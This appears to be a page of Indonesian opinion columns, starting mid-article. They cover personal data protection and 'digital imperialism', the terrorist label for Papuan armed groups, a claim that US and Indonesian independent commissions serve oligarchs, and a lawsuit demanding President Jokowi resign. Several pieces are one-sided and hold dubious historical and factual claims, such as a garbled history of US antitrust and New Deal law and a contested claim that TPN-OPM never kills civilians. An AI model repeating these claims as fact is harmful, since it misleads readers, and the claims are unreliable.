komunikasi. Artikel dekan Fakultas Hukum UI, Dr. Edmond Makarim, (Kamis, 14 January 2021) yang mengutip Data Digital Economy Report 2019 dari United Nations Conference (UNCTAD) tahun 2019, menarik untuk dicermati. Secara gamblang menunjukkan bahwa perusahaan teknologi digital terkonsentrasi secara geografis di AS dan Tiongkok. Meskipun terdapat perusahaan-perusahaan digital yang berasal dan beroperasi di pasaran negara berkembang, mereka tampaknya hanya menjadi porsi marjinal dalam ekonomi digital. Meskipun saat ini tengah semarak hadirnya aplikasi nasional, sebagaimana dijelaskan di atas. Saat ini penguasaan infrastruktur digital tidak berada di tangan bangsa. Dengan pemanfaatan cloud computing, justru data diunggah dan ditampung ke dalam suatu sistem akuarium informasi global yang dapat dilihat oleh yang menguasainya. Kepercayaan pengguna terhadap produk teknologi seharusnya tidak lepas dari sejauh mana pengetahuan mereka akan resiko kerentanan kegagalan teknologi tersebut. Juga bagaimana hal itu telah dikelola atau dimitigasi dengan baik. Tidak ada kesempurnaan dalam teknologi, sehingga seharusnya ada kepastian prosedural untuk mitigasi. Hal tersebut tentu tidak terlepas dari kewenangan administratif terkait. Tidak hanya dilepaskan kepada kompetisi pasar saja. UU-PDP itulah sesungguhnya bentuk nyata mitigasi verbal yang harus menjadi domain negara. Baru saja di pertengahan Desember lalu, pengguna di dunia dikejutkan dengan gangguan layanan Google selama satu jam. Bahkan raksasa teknologi itu ternyata tidak bisa mencegah 100% terjadinya kerusakan atau gangguan teknologi. Juga tidak menjamin keandalan sistem elektroniknya. Imperialisme sejatinya tidak benar-benar hilang dari kehidupan manusia. Di zaman now, dunia digital pun tidak benar-benar lepas dari yang namanya imperialisme. Inilah yang selanjutnya disebut dengan imperialisme digital (digital imperialism). Dengan kata lain, ini bukanlah istilah baru. Ada diksi yang sejenis dengan itu, misalnya digital colonialism (kolonialisme digital). Keduanya merujuk pada makna yang sama, yaitu penjajahan digital. Percaya atau tidak, kita sejatinya berada dalam jebakan batman. “Terjebak” dalam berbagai tawaran yang menggiurkan dari revolusi digital tersebut. Padahal, setiap aktifitas kita, saat tersambung dan terhubung dalam jaringan digital, semua itu ada cost-nya. Dan, biayanya itu, bukan hanya sekedar berbentuk uang ataupun pulsa yang disedot. Tetapi lebih dari itu. Ada social cost yang harus dibayar. Dimana ini yang kerapkali kita lupakan, atau mungkin tidak kita sadari. “Social cost inilah yang kemudian akan dikapitalisasi oleh penyedia layanan. Baik itu sosial maupun bisnis. Sehingga menjadi kekuatan mereka, untuk dalam beberapa waktu ke depan, mendikte bahkan “memperkuda” kita dalam setiap aktifitas kehidupan. Dengan demikian sudah semestinya kita aware tentang hal ini”, tulis Makarim. Berdasarkan hasil penelitian, dengan hadirnya ekonomi digital dan teknologi digital pada umumnya, menjadilah Indonesia pasar besar sambil memproduksi kekhawatiran. Start-up lokal yang membesar merangsang injeksi modal venture capitalist asing sebagai pintu masuk modal asing untuk “mencaplok” Indonesia. Meluapnya demam venture capitalist berburu start-up Indonesia yang rindu biaya peningkatan, mengubah status kepemilikan start-up pindah ke tangan investor asing. “Menempatkan founder di pinggiran dengan saham minimal. Mereka bukan lagi pemilik. Tetapi sudah berubah menjadi pekerja. Banyak contoh soal nasib kelam start-up lokal. Sebutlah seperti tokopedia, traveloka, bukalapak, lazada dan lain-lain, yang telah diambil alih oleh asing dan aseng”, tulis Asih Subagyo, Sekjen Muslim Information Technology Association (2017). Program gerakan “Literasi Digital Nasional” menjadi rahmat dan sekaligus elemen bencana baru bagi bangsa. Dominasi modal asing akan mengangkangi perekonomian nasional arus utama bangsa. Meniscayakan hadirnya pagar beton regulasi nasional yang tangguh. Keperkasaan regulasi nasional adalah harga mati. Gunanya untuk menangkal ancaman imperialisme digital yang membawa dinamika, penetrasi maupun invasi taring raksasa kapitalisme global yang menjadi mesin penggerak “budaya” pencaplokan terselubung melalui layanan cepat virtualisasi. Yang jelas sampai hari ini, DPR belum juga berhasil menerbitkan UU-PDP (Undang-Undang Perlindungan Data Pribadi) bagi 279 juta orang penduduk negeri ini . Meskipun RUU-PDP itu telah berkali-kali direncanakan dibahas, sampai sekarang belum berwujud. Sebuah berita buruk saat ini meledak di semua media: terjadi kejahatan digital peretasan data pribadi 279 juta penduduk yang berasal dari kantong BPJS Kesehatan. RUU-PDP telah disusun Kementerian Komunikasi dan Informatika (Kemkominfo) tahun 2014. Pemerintah bersama-sama DPR telah mengupayakan agar disahkan menjadi undang-undang pada priode 2014-2019. Hingga berakhir masa legislasi 2014-2019, UU itu tidak diapa-apain juga. Pada periode legislasi 2019-2024, RUU-PDP kembali diusulkan pemerintah pada 17 Desember 2019, dan masuk dalam jajaran Prolegnas Prioritas tahun 2020. Namun sampai hari ini tidak ada kabar berita. Sumber di DPR menyebutkan penyebab tersendatnya pembahasan RUU itu, karena ada perbedaan persepsi yang prinsipil antara pemerintah dengan legislator. Eksekutif menghendaki dirinya sebagai “agen tunggal” pengelolaan sanksi-sanksi UU itu kepada operator aplikasi digital yang beromzet trilunan itu. Tetapi pihak legislatif agaknya kurang setuju dengan diksi “tunggal” itu dengan alasan-alasan tertentu. Apa yang salah pada bangsa ini? Sebuah pesan WhatsApp melesat ke dalam HP saya dengan tulisan yang mengusik: “Satu-satunya kesalahan kalian, karena kalian tidak bersalah”. Itu potongan dialog drama kolosal kelas dunia berjudul “Montserrat” karya Emanuel Robles (1948). Diterjemahkan sastrawan papan atas Indonesia, almarhum Drs. Asrul Sani. Penulis adalah Wartawan Senior dan Pemerhati Sosial Budaya.

KKB Teroris? Negara Diduga Lakukan Terorisme di Papua (Bagian-1)

by Marthen Goo Jayapura FNN - Pemerintah mengumumkan Kelompok Kriminal Bersenjata (KKB) sebagai “Teroris” seperti yang disampaikan Menkopolhukam, Prof. Maufud MD, dan viral di media-media, tentu saja mengagetkan publik. Pro dan kontra terjadi dimana-mana. Hampir semua orang Papua menolak lebel tersebut. Tetapi di Jakarta, banyak yang pro dan kontra. Mestinya dengan melebel teroris, apalagi oleh pemerintah, harus jelas dan terukur. Dampak dari pernyataan pemerintah soal KKB sebagai terorisme ada empat. Pertama, terjadi pengiriman pasukan yang berlebihan. Kedua, adanya penyerangan darat dan udara. Ketiga, adanya masyarakat kurang lebih 7000-an orang mengungsi besar-besaran ke hutan. Sementara yang mengungsi ke distrik pembentukan traomating pada penduduk. Terhadap dugaan pada poin keempat, Komnas HAM diharapkan untuk segera turun ke Papua. Lakukan penyelidikan secara menyeluruh dari bentuk penyerangan yang dilakukan oleh apparat. Ada tidak korban warga sipil? Ada tidak pengungsian yang tidak dilindungi negara? Atau adanya proses pengabaian sebagai kejahatan HAM yang dikenal dalam dunia HAM adalah “by omission”. Jika ada kejahatan HAM, baik by omission, apalagi by comission, maka Komnas HAM harus berani untuk menetapkan sebagai kejahatan HAM. Seret segera pelakunya ke pengadilan HAM. Apalagi kalau jelas-jelas siapa yang memberikan intruksi. Jika merujuk pada UU Nomor 26 Tahun 2000 tentang pengadilan HAM, maka soal “genosida”, jika ada dugaan terjadi, dan memenuhi unsur pasal 7 poin (a) tentang kejahatan genosida, dan pasal 8 poin (c) “menciptakan kondisi kehidupan kelompok yang akan mengakibatkan kemusnahan secara fisik baik seluruh atau sebagiannya”. Membedah KKB dan TPN-OPM KKB adalah Kelompok Kriminal Bersenjata. Kata kriminal, memiliki arti bahwa kelompok yang melakukan perbuatan kriminal. Biasanya tujuan yang dilakukan adalah hal-hal yang sifatnya kecil dan terbatas serta tujuan materi semata. Sehingga, siapa itu kelompok kriminal bersenjata? Barang kali hanya pemerintah di Jakarta yang tahu kelompok tersebut. Hal itu berbeda dengan TPN-OPM. TPN sendiri adalah Tentara Pembebasan Nasional. Sementara OPM adalah Organisasi Papua Merdeka. Artinya bahwa organisasi, baik TPN maupun OPM adalah organisasi Idiologi Papua Merdeka. Perjuangan mereka adalah perjuangan untuk merebut kemerdekaan Papua. Mereka juga bisa disebut sebagai kombatan, dalam perspektif perjuangan idiologi. Barang kali perjuangan TPN-OPM ini sama dengan keberadaan Indonesia saat berjuang untuk merebut kemerdekaan setelah mendeklarasikan kemerdekaan 17 agustus 1945. Karena paska proklamasi kemerdekaan, Belanda berkeinginan untuk mengambil kembali Indonesia, dan melalui desakan Amerika, akhirnya Belanda mengakui kemerdekaan Indonesia pada tahun 1949. Indonesia pada saat itu memiliki idiologi yang sama tentang kemerdekaan, dan lepas dari penjajahan. Bahkan Soekarno sebagai salah seorang pejuang selalu ditangkap dan dilebelin separatis. Terjadi dua cara pandang yang berbeda. Belanda menganggap Soekarno adalah separatis, tetapi rakyat di Jawa menganggapnya sebagai nasionalis dan pejuang bagi keselamatan rakyat Jawa kala itu. Keberadaan TPN-OPM secara subtansial sama. Barang kali bagi sebagian rakyat Indonesia TPN-OPM adalah kelompok separatis, tapi bagi sebagian besar rakyat Papua, TPN dan OPM adalah organisasi nasional Bangsa Papua untuk kemerdekaan. Tentu ini soal cara pandang dan pada posisi dimana kita berada. Hal yang sama juga saat Belanda menguasai Jawa dan beberapa daerah lainnya minus Papua. Jadi, dari aspek subtansial, KKB dan TPN/OPM tentu berbeda. Walau dalam perspektif separatis, Menurut Romli Atmasasmita, Guru Besar Hukum Internasional Unpad Bandung, “separatisme diartikan gerakan memisahkan diri suatu masyarakat di dalam suatu negara. Alasannya ketidakadilan sosial yan terjadi terhadap masyarakat setempat. Pola kolonialisme sudah tidak relevan lagi untuk abad ini”. Barang kali terhadap pernyataan Guru Besar tersebut, cara pandang yang dilihat hanya pada tahun 2021. Sementara TPN-OPM lahir dari akumulasi perjalanan sejarah yang Panjang. Dimana ada kesinambungan antara perebutan Papua oleh Soekarno dengan paksa, operasi militer, Pepera 1969 di bawah tekanan militer, operasi militer lanjutan dan kejahatan kemanusiaan yang panjang hingga saat ini. Dari aspek tersebut, pernyataan guru besar sesungguhnya bisa menjadi perdebatan tersendiri. TPN-OPM Punya Kepastian Hukum Pemerintah menetapkan KKB teroris ,dan itu disampaikan ke publik lewat media. Pertanyaan dalam perspektif hukum, KKB itu siapa? Pemerintah bisa menjelaskan yang dimaksud KKB? Apakah KKB itu adalah oknum dari orang? Atau organisasi apa ? Bukankah dalam hukum pidana, ketika menyebut subjek hukum harus jelas? Ketika pemerintah menyebutkan KKB teroris, narasi yang disampaikan ke publik sangat abstrak dan multitafsir. Artinya, siapapun orang yang hanya didasarkan pada asumsi bisa disebut teroris seenaknya. Tanpa ada batasan dan penjelasan yang jelas, kongkrit dan terukur. Ini stigmatisasi atas pernyataan teroris. Sementara pernyataan pemerintah tidak jelas dari aspek subtansi ketika bicara subjek hukum. Jika merujuk pada pernyataan pemerintah yang disampaikan Menkopolhukam “pemerintah menganggap organisasi dan orang-orang di Papua yang melakukan kekerasan masif dikategorikan sebagai teroris”. Apakah semudah itu? Sementara penetapan teroris itu unsurnya ketat dan terukur. Kenapa pemerintah menyebut orang Papua? Apakah ini tendensius rasisme, atau kebencian kepada orang Papua? Subjek hukum tidak jelas, maka berpotensi kekerasan bisa terjadi. Kerena pada siapa saja yang diasumsikan melakukan kekerasan. Bahkan, ketika rakyat protes dan dianggap melawan aparat, bisa didalilkan dengan terorisme. Ini menciptakan kegaduan baru. Apalagi dasar hukum penetapan itu tidak ada, tetapi pengiriman pasukan dan pendekatan militer digunakan pendekatan “respon terorisme”. Jika merujuk pada UUD’45 pasal 1 ayat (3) Indonesia adalah negara hukum, mestinya kepastian hukum, dan subjek hukum harus jelas. Kalau yang kaya gegini, sama saja dengan melakukan tindakan yang inkonstitusional. Sewenang-wenang. Sesuka hati. Unsur Dalam Gerakan Terorisme Sekarang kita coba dalami unsur-unsur dalam pengertian teroris. UU Nomor 5 tahun 2018 dijelaskan “terorisme adalah perbuatan yang menggunakan kekerasan atau ancaman kekerasan yang menimbulkan suasana teror atau rasa takut secara meluas, yang dapat menimbulkan korban yang bersifat massal, dan/atau menimbulkan kerusakan atau kehancuran terhadap objek vital yang strategis, lingkungan hidup, fasilitas publik, atau fasilitas internasional dengan motif ideologi, politik, atau gangguan keamanan”. Pengertian ini ada dua poin yang bisa dilihat. Pertama, perbuatan menggunakan kekerasan atau ancaman kekerasan yang menimbulkan suasana teror atau rasa takut secara meluas, yang dapat menimbulkan korban yang bersifat massal. Kedua, perbuatan yang menggunakan kekerasan atau ancaman kekerasan yang menimbulkan kerusakan atau kehancuran terhadap objek vital yang strategis, lingkungan hidup, fasilitas publik, atau fasilitas internasional dengan motif ideologi, politik, atau gangguan keamanan Jika merujuk pada dua poin dasar tersebut, hal-hal yang dilakukan TPN jika kita gali dan dalami secara objektif, barangkali bisa digali dan didalami oleh tim independen lain. Pertaman, TPN selalu berkonflik dan saling bermusuhan dengan TNP/Polri. Kedua, TPN hanya akan mengintrogasi atau membunuh oknum tertentu orang yang menjadi bagian dari mata-mata aparat Indonesia (spionase). Ketiga, menghancurkan fasilitas umum yang dihuni/digunakan TNI/Polri sehingga beralih fungsi dari umum ke khusus . Dari tiga poin yang biasa dilakukan TPN/OPM tersebut, tentu dalam konflik kombatan, itu normal dan wajar jika dilihat dalam perspektif hukum humaniter. Artinya, jika dirujuk pada konflik kombatan, aspek teroris tidak masuk. Bahkan jika dirujuk pada pengertian teroris pun tidak masuk. Kalau pemerintah merujuk pada pengertian teroris, terlalu jauh menyimpulkan. Fakta lyang sudah jadi rahasia umum sejak Papua di dalam Indonesia, TPN-OPM tidak pernah membunuh warga sipil, baik warga asli Papua maupun non Papua. Bahkan perjuangan TPN-OPM adalah pembebasan nasional dan penyelamatan orang Papua. Sejak pendirian TPN-OPM sampai saat ini, belum ada warga pendatang yang dibunuh. Hal tersebut berbeda jika itu adalah TNI-Polri atau spionase (mata-mata). Mama-mama di Papua menjelaskan bahwa TPN-OPM itu bukan teroris. Hasil wawancara media suara Papua, mama Yosina adalah salah satu korban yang masih trauma sampai saat ini. Ia mengaku menyaksikan keluarganya dibantai pasukan militer tahun 1969. “Waktu itu Mamade dan Bapade dibantai tentara. Saya saksikan sendiri keganasan militer Indonesia. Jadi, yang terorisme itu siapa? Semua orang tahu yang biadap selama ini di tanah Papua” (SuaraPapua.com 15 Mei 2021). Di Harian Kompas, tokoh Papua Natalius Pigai menyebut, “militer justru hadir sebagai monster leviadan, beringas pembawa maut di Papua. Ternyata opini dan propaganda media intelijen di negara ini bahwa TPN-OPM atau KKB membunuh rakyat Papua ternyata propaganda utopis, tipu muslihat pemerintah”. “Jika rakyat Papua korban terus, maka sudah pasti TPN-OPM akan hadir untuk melindungi rakyat Papua. Masa yang akan datang mereka TPN-OPM akan semakin kuat untuk hadir melindungi bumi putra dan tanah airnya. Pemerintah harus buka kran demokrasi”, ujar Pigai (Kompas, 17/5/2021). Jadi, pemerintah harus memperjelas siapa KKB. Karena dari aspek subjek sangat tidak jelas. Sementara jika KBB yang dimaksud adalah TPN, dari fakta tidak terpenuhi, dari subjek hukum pun tidak terpenuhi. Bahkan kekerasan yang diarahkan kepada rana sipil justru selalu dilakukan oleh aparat negara. Fakta hari ini bisa kita lihat terjadi pengungsian besar-besaran. Belum lagi tiga kakak-beradik yang dibunuh dalam rumah sakit di Intan Jaya. (bersambung). Penulis adalah Aktivis Kemanusiaan Asal Papua.

Oligarki Licik Menunggangi Demokrasi dan Rule of Law

by Dr. Margarito Kamis, SH. M.Hum Jakarta FNN - State regulatory body atau commission, yang dalam studi tata negara juga disebut “auxelarry body” , bukan badan yang diatur UUD. Sama sekali bukan. Badan yang status organiknya bersifat independen ini, merupakan temuan terhebat para oligarki di Amerika. Badan ini disodorkan oleh kelompok penghisap seluruh sumberdaya ekonomi ini, sebagai cara mereka melepaskan diri dari pengawasan langsung pemerintah. Dalam kasus Amerika, hambatan non tarif dagang antar negara bagian, monopoli angkutan barang, dan diskriminasi harga, semuanya tersambung dengan perilaku korporasi. Rockeffeler, dengan standard Oilnya, berada di jantung sebagai sebab utamanya. Itu menjadi salah satu sebab pembentukan Interstate Commerce Commission Act (ICC) pada tahun 1887. Sebab lain adalah adanya kenyataan korporasi telah megambil watak “trust”. Konsep yang saat itu belum menggema di Amerika, merupakan temuan hebat dari J.P. Morgan, yang belakangan menjelma menjadi koporasi keuangan kelas dunia. Kombinasi sebab-sebab itu dipakai oleh Grover Cleveland (1885-1889), sang Presiden yang pro bisnis besar Sherman Act 1890. UU ini melarang semua bentuk monopoli, kombinasi, konspirasi pengaturan harga antar beberapa orang atau monopoli perdagangan di negara-negara bagian. Sukseskah? Dalam kenyataannya tidak. Standar Oil jatuh tahun 1911 bukan karena UU ini. Standar Oil gulung tikar dan hilang hilang nama besarnya karena investigasi Ida Tarbel, jurnalis investigasi kawakan yang menjadi sebab utamanya. Kala itu investigasi khas Ida Tarbel disebut “muckraker”. Terbuai dengan ide institusionalisasi, muncul lagi gagasan mengontrol lebih keras kelakuan para oligarkis ini. Korporasi terlihat seolah-olah mau dipukul habis melalui penciptaan sejumlah UU. Nyatanya yang terjadi adalah UU yang dibuat dalam masa krisis ekonomi hebat tahun 1913-1921 itu justru menebalkan cengkeraman korporasi besar Amerika. Itulah dekorasi utama pemerintahan Woodrow Wilson. Presiden Wilson dan Kongres merespon kenyataan itu gagasan Federal Trade Commission (FTC) tahun 1914. Ini diatur dalam Clayton Act (Hendry Clayton, chairman house judiciary committee sebagai pemrakarsa). Nama resmi UU ini adalah Anti Trust Act. Sukseskah? Tidak juga. Korporasi naik lagi bersamaan dengan datangnya krisis ekonomi hebat pada tahun 1929-1933. Pemerintahan Franklin Delano Rosevelt (FDR) merespon krisis itu dengan sangat agresif. Berbeda jauh dengan Herbert Hoover. Presiden FDR memang bukan kaki tangan oligarkis. Presiden FDR segera melukis pemerintahannya dengan Monetary dan Reconstruction Finance Corporation Policy. Kerbijakan itu diawali dengan pembentukan The Banking Act 1933. Belum cukup dengan mengeliminasi laissez-faire ineviciency, dua tahun kemudian UU ini direvisi. Kongres segera membentuk The Banking Act 1935. Reymon Moley, Rex Tugel, Adolf Berle yang dilebeli “Brain Trust” dan “Trust Busting”, berada dibalik lahirnya kebijakan itu. Berle misalnya mengadvokasi pembentukan The Banghkin Act 1935. Menurutnya itu cara tepat menyingkirkan infesiensi ekonomi, khususnya di bidang keuangan. Berputar di sekitar monetary policy untuk macro economy stabilization, pemerintah FDR segera membuat kebijakan yang terlihat melindungi masyarakat. Disodorkanlah kebijakan-kebijakan penukaran emas dengan surat berharga. Surat berharga itu dapat diuangkan di bank. Tetapi, ini yang menarik. Ketika surat-surat berharga itu dibawa ke bank, mereka menemukan kenyataan bahwa bank telah diliburkan. Ini dikenal dengan Bank Holiday, dikenal juga sebagai massacre day. Kemana perginya emas-emas itu? Diketahui ke Bank of England. Korporasi terus berpesta. Dengan dalih memukul omong kosong free market, Kongres segera membentuk The Securities and Exchange Policy. Segera juga dibentuklah The Securities and Exchanges Commission (SEC) tahun 1934). Kebijakan itu dikokohkan dengan Federal Deposit Insurance Corporation. Juga Federal Home Bank Loan, Federal Saving and Loan Insurance Corporation, Federal Kredit Union, dan the National Mortage Association. Semua kebijakan di atas melengkapi Federal Homes Loan Bank Act 1932 yang telah diteken sebelumnya oleh Presiden Hoover. Pemerintah FDR lalu mengeluarkan Home Owners Loan Act (HOLA). Dalam HOLA diatur pembentukan Federal Housing Administration. Manis Presiden FDR segera mengidfentifikasi komunikasi sebagai satu masalah di tengah putaran waktu krisis itu. Ini harus dibereskan. Kongres juga merespon. Mereka membuat The Federal Communication Commission (FCC) tahun1934. Ini dituangkan dalam Federal Communication Act. Tahu bahwa kekacauan sosial selalu memanggil partner utamanya yaitu instabilitas politik, maka masyarakat harus diberi perhatian. Itulah gagasan yang harus dimengerti dari “Social Infrastructure Policy”. Dalam kerangka itu dibentuk Social Security Act, dan lainnya yang sejenis dalam sifatnya. Memang secara teknis Social Security Act itu bertujuan melakukan “stabilisasi ekonomi makro”. UU ini menyediakan jaminan bagi penganggur, unemployment insurance, jaminan bagi para pensiunan, bantuan kepada anak-anak, dan program jaminan sosial lainnya. UU inui dalam gagasan awalnya dirancang sebagai cara memberi kepastian berkerlanjutan dan permanen terhadap peningkatan stok rumah secara nasional. Program ini memungkinkan semakin banyak orang memiliki rumah. Terutama ditujukan kepada mereka yang berusia di atas 33 tahun. Bahu-membahu dengan pemerintah, Felix Frankfurther, Tomy Corcoran, James Landis dan Ben Cohen, eksponen utama “korporatis group”, seperti Merle dan kawan-kawan, mengadvoksasi pembentukan National Labor Relation Act. Canggih cara kerjanya. Mereka hanya mengadvokasi, dan Senator Robert Wagner, yang tampil memprakarsai pembentukan UU itu. Itu sebabnya UU sering disebut Wagner Act. UU ini memberi pekerja privilege. UU ini mengatur apa yang dikenal dengan Labour Relation Board, yan bersifat Independen. Apakah kehidupan berubah setelah itu? Mereka tetap saja sebagai buruh. Upah tetap menjadi soal. Satu-satunya yang terlihat hebat dari UU ini adalah buruh diberi kebebasan berserikat. Itu saja. Itulah demokrasi dan rule of law khas kaum oligarki. Pembaca FNN yang budiman, The Bankin Act 1933-1935, benar-benar merupakan cara licik khas oligarki mengisolasi, membatasi dan memotong ruang lingkup atau jangkauan kewenangan dari presiden. Kewenangan presiden itu dipotong dengan cara yang memberi sifat “independen” pada badan yang disebut regulatory body atau commission itu. Tidak mengherabnkan American Bar Aassociation (ABA) menemukan kenyataan New Deal Policy adalah cara pemerintah federal, yang bekerja dibawah kendali oligarki memperluas kekuasaan pemerintahan federal. Administrative agency, termasuk badan-badan independen tersebut diidentifikasi sebagai siasat institusional pemerintah pusat memperluas kekuasaannya. ABA atas dasar penilaian itu segera membentuk special committee on administrative law. Mereka memeriksa semua UU itu. Enam tahun setelah mereka bekerja, adminsitrative agency segera diidentifikasi sebagai “administrative absolutism.” Amerika disepanjang periode ini, dalam identifikasi mereka, ditarik dan dijatuhkan ke dalam totalitarianism. Roscou Pound, sosiolg kenamaan yang pandangannya tentang hukum begitu populer Indonesia, kala itu bertindak sebagai salah satu chair-nya. Pound menyangkal independent commission yang diagungkan para politisi, karena diisi oleh para expert. Dalam kenyataan, Pound menilai tak ada korelasi signifikan antara para expert dengan eksistensi independent commission. Pembaca FNN yang Budiman. Pemerintahan Franklin D. Rosevelt dengan New Dealnya dikenal juga sebagai “pemerintahan korporatis.” Bukan demokrasi. Periode ini dilebel dengan korporatokrasi. Begitulah demokrasi dan rule of law di negara demokrasi sekelas Amerika. Rakyat menari dengan demokrasi sejauh bicara-bicara dan bicara, di satu sisi. Oligarki mendikte demokrasi dan pemerintah untuk membuat kebijakan dan menulis huruf-huruf dalam UU. Lalu bagaimana dengan demokrasi dan rule of law dinegeri kita? Terlihat mirip dalam banyak aspek. Kemiripan ini terlihat pada tampilan emprik Komisi Pemberantasan Korupsi (KPK). Badan ini dirancang sedemikian canggih sehingga harus benar-benar berada di luar jangkauan dari UUD 1945 dan kekuasaan Presiden. Pembaca FNN yang berbahagia. Konsep independen untuk badan yang disebut regulatory body sejenis KPK dan Bank Indonesia itu, dalam sejarahnya digagas oleh Kolonel Edward Mandel House, mentor politik dari Presiden Wodroow Wilson. Orang ini juga yang berada dibalik gagasan Internatization Liberty, pijakan kebijakan“self determination” untuk negara-negara yang hingga tahun 1919 itu masih terjajah. Konsep itu (independen) diambil dari pengadilan dan disematkan, untuk pertama kalinya, pada The Fed. Sebagai konsekuensinya, Presiden tidak bisa mengurus urusan-urusan pemerintahan itu. Ini yang di tahun 1935 ditunjukan oleh special committee American Barr Association sebagai totalitarianism dan Administrative Absolutism. Di jalan itulah Indonesia mutakhir merenda takdir demokrasi dan rule of law-nya. Rakyat terus berpesta dengan kritik demi kririk kepada pemerintah di satu sisi. Pada sisi lain pemerintah terus asyik dengan nadanya sendiri. Sistem politik, setidaknya sistem pengisian anggota DPR, terdekorasi manis sekali dengan diskriminasi yang level primitifnya begitu telanjang. Diskriminasi primitif itu diinstitusionalisasi ke dalam parlementary treshold dan presidential treshold. Hukumkah itu? Sama busuknya. Mempertahankan hak, mulai kehilangan pijakan keabsahannya. Itulah sumbangan kecil mematikan dari UU Cipta Lapangan Kerja. Konyol sekali bangsa ini. Penulis adalah Dosen Fakultas Hukum Universitas Khairun Ternate.

Menuntut Jokowi Mundur, Terobosan Hukum Membela Kepentingan Rakyat

by Prof. Dr. Eggi Sudjana SH. MSi. Jakarta, FNN - Ada sejumlah pihak yang mempertanyakan, bagaimana mungkin menggugat Presiden secara hukum dan menuntutnya untuk mundur melalui lapangan hukum perdata di Pengadilan Negeri. Padahal, secara tata Negara, proses pengunduran diri dan pemberhentian Presiden (pemakzulan) hanya dapat ditempuh melalui Proses Politik di DPR RI, membawanya secara hukum ke Mahkamah Konstitusi, dan kembalikan ke MPR Ri melalui sidang istimewa. Di MPR RI, sifatnya tinggal seremonial untuk mengukuhkan pemberhentian Presiden yang telah diputuskan oleh Mahkamah Konstitusi, menetapkan Wakil Presiden sebagai Presiden definitif dan memilih sekaligus memilih dan menetapkan Wakil Presiden pengganti. Sejumlah anggota DPR RI kelak nantinya yang akan memilih dan mengusulkan penetapan Wakil Presiden pengganti dalam Sidang Istimewa MPR RI. Hanya saja, semua itu terjadi jika Lembaga DPR RI berfungsi. Masalahnya, lembaga DPR RI mengalami disfungsi baik dalam fungsi legislasi, budgeting dan khususnya kontrol terhadap eksekutif. Sejumlah kebohongan, janji-janji palsu, dan disfungsi peran Presiden untuk merealisasikan tujuan pemerintahan adalah pelanggaran hukum, terkategori perbuatan yang melawan hukum. Karena dusta dan janji-janji palsu Presiden Joko Widodo seperti ada dana 11.000 di kantong, tidak akan utang buktinya utang menggunung yang per Desember 2020 telah melampaui angka Rp. 6000 triliun. Janji tidak akan import, buy back Indosat, dan sederajat kebohongan dan janji palsu Presiden Joko Widodo telah merugikan segenap rakyat Indonesia. Secara perdata, hal ini memenuhi unsur pembuatan melawan hukum dalam pasal 1365 Kuhperdata, yang menyatakan, "setiap perbuatan yang melawan hukum yang membawa kerugian kepada orang lain menyebabkan orang karena salahnya menerbitkan kerugian mengganti kerugian tersebut." Klien kami sebagai bagian dari rakyat Indonesia, sangat dirugikan oleh tindakan Presiden Joko Widodo yang mengedarkan kebohongan dan janji-palsu. Karena itu, secara hukum klien kami sah menggugat Presiden Joko Widodo karena telah melakukan perbuatan melawan hukum. Karena ada kerugian yang dialami klien kami, dan sebenarnya kerugian ini juga dialami oleh seluruh rakyat Indonesia, maka klien kami menuntut ganti rugi atas tindakan perbuatan melawan hukum yang dilakukan Presiden. Karena persoalan kerugian tidak dapat diukur dengan natural uang, maka klien kami meminta Presiden Joko Widodo untuk mengundurkan diri sebagai bentuk tanggung jawab kerugian sekaligus pertangungjawaban jabatan. Mengenai pengunduran diri ini, hukum juga telah mengaturnya. Tap MPR No VI Tahun 2001, telah memberikan sandaran legitimasi bagi pejabat yang gagal menjalankan amanah untuk mengundurkan diri. Soal Presiden tidak mau tunduk, tidak mau memberikan kompensasi ganti rugi dengan mengundurkan diri, maka kami juga menggugat DPR RI. Gugatan dilayangkan agar DPR RI kembali mengaktifkan fungsinya, terutama fungsi kontrol terhadap eksekutif melalui aktifasi hak angket, hak interpelasi hingga Hak Menyatakan Pendapat (HMP). Melalui proses gugatan ke DPR RI, nantinya jika Presiden Joko Widodo tidak mau legowo mengundurkan diri sebagai sikap tanggung jawab dan negarawan seorang Joko Widodo, maka DPR RI dapat mengaktifkan mekanisme pemakzulan untuk menjalankan putusan pengadilan, dengan menggelar sidang untuk Menyatakannya Pendapat dan membawa perkaranya ke Mahkamah Konstitusi. Adapun kebijakan Presiden yang memaksa seluruh rakyat mematuhi, padahal kebijakan tersebut melanggar hukum, seperti UU Omnibus Law, Legalisasi Investasi Miras (meskipun kemudian dicabut), UU pelemahan KPK, yang semuanya inisiatif dari Presiden, juga pengedaran informasi bohong dan ingkar janji juga melanggar ketentuan pidana. Dalam ketentuan pasal 421 KUHP disebutkan : "Seorang pejabat yang menyalahgunakan kekuasaan memaksa seseorang untuk melakukan, tidak melakukan atau membiarkan sesuatu, diancam dengan pidana penjara paling lama dua tahun delapan bulan." Meskipun demikian, Presiden tidak dapat dituntut secara pidana. Itulah sebabnya, sejumlah pelapor yang melaporkan pelanggaran protokol kesehatan Presiden Joko Widodo di NTT laporannya ditolak Bareskrim Polri. Atas pertimbangan itulah, kami menuntut pertanggungjawaban ketatanegaraan dengan meminta Presiden mundur dan jika tidak legowo kami meminta DPR RI mengaktifkan proses pemakzulan Presiden dengan mengaktifkan hak kontrol Dewan kepada Presiden. Pelanggaran hukum secara perdata dan pidana dimaksud, ditindaklanjuti dengan mekanisme ketatanegaraan melalui proses pemakzulan berdasarkan pasal 7A UUD 1945. Sebenarnya, kami tidak perlu menggugat kalau kinerja Presiden benar. Kami juga tak perlu mengontrol Presiden jika fungsi DPR RI jalan. Karena terjadi disfungsi eksekutif dan legislatif, apa boleh buat kami terpaksa menggugat, demi masa depan bangsa dan negara Indonesia yang kita cintai. Penulis adalah Ketua Umum Tim Pembela Ulama & Aktivis.

Harus Diusut 97,000 PNS Palsu, Ini Kejahatan Bukan Kelalaian

